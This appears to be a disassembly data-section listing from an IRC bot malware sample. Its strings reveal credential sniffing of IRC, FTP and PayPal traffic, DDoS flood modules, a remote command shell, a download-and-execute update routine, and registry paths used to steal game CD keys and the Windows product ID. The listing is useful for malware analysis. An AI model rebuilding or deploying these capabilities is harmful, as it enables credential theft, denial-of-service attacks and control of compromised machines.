aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_414B1C+86o
		align 4
; char aSReturnS[]
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_414BFB+21Bo
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_414BFB+1D8o
		align 4
; char aSChangedWindow[]
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_414BFB+8Eo
		align 10h
aHttp_0		db 'HTTP',0             ; DATA XREF: .data:0044223Co
		align 4
aFtp		db 'FTP',0              ; DATA XREF: .data:00442238o
off_4352CC	dd offset byte_435249	; DATA XREF: .data:00442234o
dword_4352D0	dd 544F42h		; DATA XREF: .data:off_442230o
; char asc_4352D4[]
asc_4352D4	db '-'                  ; DATA XREF: sub_414ECA+277o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aRecvFailedRetu	db '- recv() failed, returned %d',0
		align 10h
; char asc_435300[]
asc_435300	db '-'                  ; DATA XREF: sub_414ECA+204o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aSuspiciousSPac	db '- suspicious %s packet from: %s:%d - %s',0
; char asc_435334[]
asc_435334	db '-'                  ; DATA XREF: sub_414ECA+18Eo
		db 3, 34h, 2
		dd 696E7370h, 3026666h,	2Dh
; char aPsniff_0[]
aPsniff_0	db '[PSNIFF]',0         ; DATA XREF: sub_414ECA+173o
		align 10h
dword_435350	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_414ECA+139o
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
; char asc_435380[]
asc_435380	db '-'                  ; DATA XREF: sub_414ECA+F1o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
; char asc_4353AC[]
asc_4353AC	db '-'                  ; DATA XREF: sub_414ECA+82o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
; char aHashin[]
aHashin		db ':!hashin',0         ; DATA XREF: sub_41519E+103o
		align 4
; char a_hashin[]
a_hashin	db ':.hashin',0         ; DATA XREF: sub_41519E+EEo
		align 10h
; char aIdent_0[]
aIdent_0	db ':!ident',0          ; DATA XREF: sub_41519E+D9o
; char a_ident[]
a_ident		db ':.ident',0          ; DATA XREF: sub_41519E+C8o
; char a_login_1[]
a_login_1	db ':.Login',0          ; DATA XREF: sub_41519E+B7o
; char aLogin_1[]
aLogin_1	db ':!Login',0          ; DATA XREF: sub_41519E+A6o
; char aLogin_0[]
aLogin_0	db ':!login',0          ; DATA XREF: sub_41519E+95o
; char a_login_0[]
a_login_0	db ':.login',0          ; DATA XREF: sub_41519E+84o
; char a366[]
a366		db '366 ',0             ; DATA XREF: sub_41519E+73o
		align 4
; char a302[]
a302		db '302 ',0             ; DATA XREF: sub_41519E:loc_415200o
		align 10h
; char aJoin_0[]
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_41519E+4Do
		align 4
; char aPsniff_2[]
aPsniff_2	db 'PSNIFF//',0         ; DATA XREF: sub_41519E+3Co
		align 4
; char aPsniff_1[]
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_41519E+2Bo
		align 10h
; char aBotSniff[]
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_41519E+5o
		align 4
; char aYouAreNowAnIrc[]
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_4152B5+62o
; char aOper_0[]
aOper_0		db 'oper ',0            ; DATA XREF: sub_4152B5+51o
		align 10h
; char aNick_1[]
aNick_1		db 'NICK ',0            ; DATA XREF: sub_4152B5:loc_4152F5o
					; sub_41532B+2Bo
		align 4
; char aOper[]
aOper		db 'OPER ',0            ; DATA XREF: sub_4152B5+2Bo
		align 10h
; char aIrcSniff[]
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_4152B5+5o
		align 4
; char aPass_1[]
aPass_1		db 'PASS ',0            ; DATA XREF: sub_41532B+73o
		align 4
; char aUser_2[]
aUser_2		db 'USER ',0            ; DATA XREF: sub_41532B+62o
		align 4
; char a230[]
a230		db '230 ',0             ; DATA XREF: sub_41532B:loc_41537Co
		align 4
; char a220[]
a220		db '220 ',0             ; DATA XREF: sub_41532B+3Co
		align 4
; char aFtpSniff[]
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_41532B+5o
		align 4
; char aSetCookie[]
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_4153B2+73o
; char aPaypal_com_0[]
aPaypal_com_0	db 'paypal.com',0       ; DATA XREF: sub_4153B2+62o
		align 10h
; char aPaypal_com[]
aPaypal_com	db 'PAYPAL.COM',0       ; DATA XREF: sub_4153B2+51o
		align 4
; char aPaypal_0[]
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_4153B2:loc_4153F2o
		align 4
; char aPaypal[]
aPaypal		db 'paypal',0           ; DATA XREF: sub_4153B2+2Bo
		align 4
; char aHttpSniff[]
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_4153B2+5o
		align 4
; char aOpenssh_2[]
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_415439+51o
		align 4
; char aServUFtpServer[]
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_415439:loc_415479o
		align 4
; char aOpenssl0_9_6[]
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_415439+2Bo
		align 4
; char aVulnSniff[]
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_415439+5o
		align 4
unk_435544	db  2Dh	; -		; DATA XREF: sub_41549E+380o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
; char asc_43557C[]
asc_43557C	db '-'                  ; DATA XREF: sub_41549E+31Co
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4355B4	db  2Dh	; -		; DATA XREF: sub_41549E+2EBo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4355E8	db  2Dh	; -		; DATA XREF: sub_41549E+2C1o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43561C	db  2Dh	; -		; DATA XREF: sub_41549E+294o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
; char asc_435650[]
asc_435650	db '-'                  ; DATA XREF: sub_41549E+10Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFail_0	db '- WSAIoctl() failed, returned %d',0
		align 10h
; char asc_435680[]
asc_435680	db '-'                  ; DATA XREF: sub_41549E+C7o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRe_0	db '- bind() failed, returned %d',0
		align 4
; char asc_4356AC[]
asc_4356AC	db '-'                  ; DATA XREF: sub_415825+31Fo
		db 3, 34h, 2
		dd 736F6464h, 202D0302h, 646E6573h, 72726520h, 203A726Fh
		dd 6425h
; char asc_4356C8[]
asc_4356C8	db '-'                  ; DATA XREF: sub_415BD8+5Bo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
; char asc_4356F0[]
asc_4356F0	db '-'                  ; DATA XREF: sub_415C89+2DBo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPa	db 'error sending packets to %s. %d packets sent, returned %d',0
		align 4
; char asc_435738[]
asc_435738	db '-'                  ; DATA XREF: sub_415C89+274o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aDoneWithSFlood	db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
		align 4
; char asc_435784[]
asc_435784	db '-'                  ; DATA XREF: sub_415C89+B8o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidTargetI	db 'invalid target ip',0
		align 4
; char asc_4357A4[]
asc_4357A4	db '-'                  ; DATA XREF: sub_415C89+90o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSetsockoptFail	db 'setsockopt() failed, returned %d',0
		align 4
; char asc_4357D4[]
asc_4357D4	db '-'                  ; DATA XREF: sub_415C89+4Bo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSocketFailed_0	db 'socket() failed, returned %d',0
		align 10h
; char asc_435800[]
asc_435800	db '-'                  ; DATA XREF: sub_415F82+131o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFinishedSendin	db 'finished sending pings to %s',0
		align 4
; char asc_43582C[]
asc_43582C	db '-'                  ; DATA XREF: sub_415F82+67o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPi	db 'error sending pings to %s',0
		align 4
; char asc_435854[]
asc_435854	db '-'                  ; DATA XREF: sub_416104+1BCo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFinishedSend_0	db '- finished sending packets to %s',0
		align 10h
; char asc_435880[]
asc_435880	db '-'                  ; DATA XREF: sub_416104+87o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aErrorSending_0	db '- error sending packets to %s',0
		align 4
; char asc_4358A8[]
asc_4358A8	db '-'                  ; DATA XREF: sub_41640E+48o
		db 3, 34h, 2
		dd 73796B73h, 3026E79h
aDoneWithFloodI	db '- Done with flood (%iKB/sec)',0
		align 4
; char asc_4358D4[]
asc_4358D4	db '-'                  ; DATA XREF: sub_4164A9+29Do
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aSendErrorD_	db '- Send error: <%d>.',0
		align 4
; char asc_4358F4[]
asc_4358F4	db '-'                  ; DATA XREF: sub_4167D6+48o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloo_0	db '- Done with flood (%iKB/sec).',0
		align 4
; char asc_43591C[]
asc_43591C	db '-'                  ; DATA XREF: sub_416A7E+4Do
		db 3, 34h, 2
		dd 67726174h, 3023361h
aDoneWithFlood_	db '- Done with flood.',0
		align 10h
; char asc_435940[]
asc_435940	db '-'                  ; DATA XREF: sub_416B1E+3D5o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSending_1	db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 10h
; char asc_435990[]
asc_435990	db '-'                  ; DATA XREF: sub_416B1E+36Bo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aDoneWithSFlo_0	db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 10h
; char asc_4359E0[]
asc_4359E0	db '-'                  ; DATA XREF: sub_416B1E+C6o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidTarge_0	db '- Invalid target IP.',0
		align 10h
unk_435A00	db  2Dh	; -		; DATA XREF: sub_416B1E+A7o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSetsockop	db '- Error: setsockopt() failed, returned: <%d>.',0
		align 4
; char asc_435A38[]
asc_435A38	db '-'                  ; DATA XREF: sub_416B1E+66o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSocketF_1	db '- Error: socket() failed, returned: <%d>.',0
		align 4
; char asc_435A6C[]
asc_435A6C	db '-'                  ; DATA XREF: sub_4171BC+60o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aDoneWithFloodD	db '- Done with flood, %d packets sent.',0
		align 10h
; char asc_435AA0[]
asc_435AA0	db '-'                  ; DATA XREF: sub_417272+371o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorSending_2	db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
		align 10h
; char asc_435B30[]
asc_435B30	db '-'                  ; DATA XREF: sub_417272+31Fo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFinishedSend_1	db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 4
; char asc_435B94[]
asc_435B94	db '-'                  ; DATA XREF: sub_417272+F5o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aSendingPackets	db '- Sending packets to %s...',0
; char asc_435BC0[]
asc_435BC0	db '-'                  ; DATA XREF: sub_417272+7Co
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aInvalidTarge_1	db '- Invalid target IP. WSAGetLastError() returns %d.',0
		align 8
unk_435C08	db  2Dh	; -		; DATA XREF: sub_417272+5Fo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSe	db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 4
; char asc_435C58[]
asc_435C58	db '-'                  ; DATA XREF: sub_417272+29o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
; char asc_435C84[]
asc_435C84	db '-'                  ; DATA XREF: sub_4175F3+47o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aStartingWisdom	db '- Starting Wisdom spoofed UDP flood thread.',0
		align 4
; char aSD[]
aSD		db '%s%d ',0            ; DATA XREF: sub_41776E+1EAo
		align 4
; char asc_435CCC[]
asc_435CCC	db '-'                  ; DATA XREF: sub_417BC8+5Do
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
; char aD_[]
aD_		db '%d. '               ; DATA XREF: sub_417CF8+35o
		dd 73253403h, 203D2003h, 73253703h, 3
dword_435D0C	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_417CF8+10o
; char a_2d_2d4d_2d_2d[]
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_417D70+60o
		align 4
dword_435D44	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_417E10:loc_417E45o
dword_435D58	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_417E10+20o
; char asc_435D6C[]
asc_435D6C	db '-'                  ; DATA XREF: sub_417E51+D2o
		db 3, 34h, 2
		dd 2676F6Ch, 6C202D03h,	20747369h, 706D6F63h, 6574656Ch
		dd 0
dword_435D88	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_417E51+41o
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_417F75+12o
aWindow		db 'Window',0           ; DATA XREF: sub_4181B2+23o
					; sub_4183AB+26o
		align 4
aKey3		db 'Key3=',0
		align 4
aNeverwinterNig	db 'Neverwinter Nights (Hordes of the Underdark)',0
		align 4
aKey2		db 'Key2=',0
		align 4
aNeverwinterN_0	db 'Neverwinter Nights (Shadows of Undrentide)',0
		align 10h
aKey1		db 'Key1=',0
		align 4
aNwncdkey_ini	db 'nwncdkey.ini',0
		align 4
aNeverwinterN_1	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 10h
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 10h
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aSoftwareIllusi	db 'Software\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
aSoftwareTechla	db 'Software\Techland\Chrome',0
		align 10h
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 10h
aSoftwareWest_0	db 'Software\Westwood\Red Alert 2',0
		align 10h
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 10h
aSoftwareWest_1	db 'Software\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_2	db 'Software\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
aSoftwareRedSto	db 'Software\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
aSoftwareElectr	db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
aSoftwareElec_0	db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 10h
aSoftwareElec_1	db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 10h
aSoftwareElec_2	db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 10h
aSoftwareElec_3	db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 10h
aSoftwareElec_4	db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
aSoftwareElec_5	db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
aSoftwareElec_6	db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
aSoftwareElec_7	db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
aSoftwareElec_8	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
aSoftwareElec_9	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
aSoftwareEle_10	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
aSoftwareEle_11	db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
aSoftwareEle_12	db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 8
aSoftwareEle_13	db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 8
aSoftwareEle_14	db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
aSoftwareEle_15	db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
aSoftwareEle_16	db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 10h
aSoftwareEle_17	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
aSoftwareEle_18	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 10h
aSoftwareEle_19	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
aSoftwareEle_20	db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
aSoftwareIgi2Re	db 'Software\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
aSoftwareUnreal	db 'Software\Unreal Technology\Installed Apps\UT2004',0
		align 10h
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
aSoftwareUnre_0	db 'Software\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 10h
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 10h
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:00442AA4o
aCdkey		db 'CDKey',0            ; DATA XREF: .data:00442AA0o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_442A9Co
		align 10h
; char asc_436B90[]
asc_436B90	db '=',0                ; DATA XREF: sub_4185EA+E7o
					; sub_4185EA+F2o
		align 4
; char asc_436B94[]
asc_436B94	db '-'                  ; DATA XREF: sub_4185EA+2Bo
		db 3, 34h, 2
		dd 656B6463h, 3027379h,	7325202Dh, 7325203Ah, 0
; char asc_436BAC[]
asc_436BAC	db '-'                  ; DATA XREF: sub_418799+16Ao
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 10h
; char asc_436BE0[]
asc_436BE0	db '-'                  ; DATA XREF: sub_418799+ACo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 10h
; char asc_436C10[]
asc_436C10	db '-'                  ; DATA XREF: sub_418799+4Co
					; sub_418956+FFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
; char asc_436C34[]
asc_436C34	db '-'                  ; DATA XREF: sub_418956+35Eo
					; sub_418CEA+152o
		db 3, 34h, 2
		dd 2636364h, 73202D03h,	656B636Fh, 72652074h, 726F72h
; char asc_436C4C[]
asc_436C4C	db '-'                  ; DATA XREF: sub_418956+2F6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
; char asc_436C78[]
asc_436C78	db '-'                  ; DATA XREF: sub_418956+1FEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_436C9C	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: sub_418956+1C7o
		dd 74756Fh
; char dword_436CB4
dword_436CB4	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_418956+16Co
		dd 169h
unk_436CCC	db  2Dh	; -		; DATA XREF: sub_418956+129o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_436CEC	db  2Dh	; -		; DATA XREF: sub_418956+84o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_436D10	db  2Dh	; -		; DATA XREF: sub_418956+46o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
; char asc_436D34[]
asc_436D34	db '-'                  ; DATA XREF: sub_418CEA+1C7o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 10h
; char asc_436D60[]
asc_436D60	db '-'                  ; DATA XREF: sub_418CEA+C7o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_436D80	db  2Dh	; -		; DATA XREF: sub_418CEA+A7o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
; char aAB[]
aAB		db 'a+b',0              ; DATA XREF: sub_418CEA+93o
unk_436DB0	db  2Dh	; -		; DATA XREF: sub_418CEA+7Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 10h
; char asc_436DE0[]
asc_436DE0	db '-'                  ; DATA XREF: sub_418F38+491o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_436E0C	db  2Dh	; -		; DATA XREF: sub_418F38+483o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 10h
; char asc_436E40[]
asc_436E40	db '-'                  ; DATA XREF: sub_418F38+3D9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
; char asc_436E84[]
asc_436E84	db '-'                  ; DATA XREF: sub_418F38+35Ao
		db 3, 34h, 2
		dd 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh, 25206465h
		dd 73h
; char asc_436EA0[]
asc_436EA0	db '-'                  ; DATA XREF: sub_418F38+2E3o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
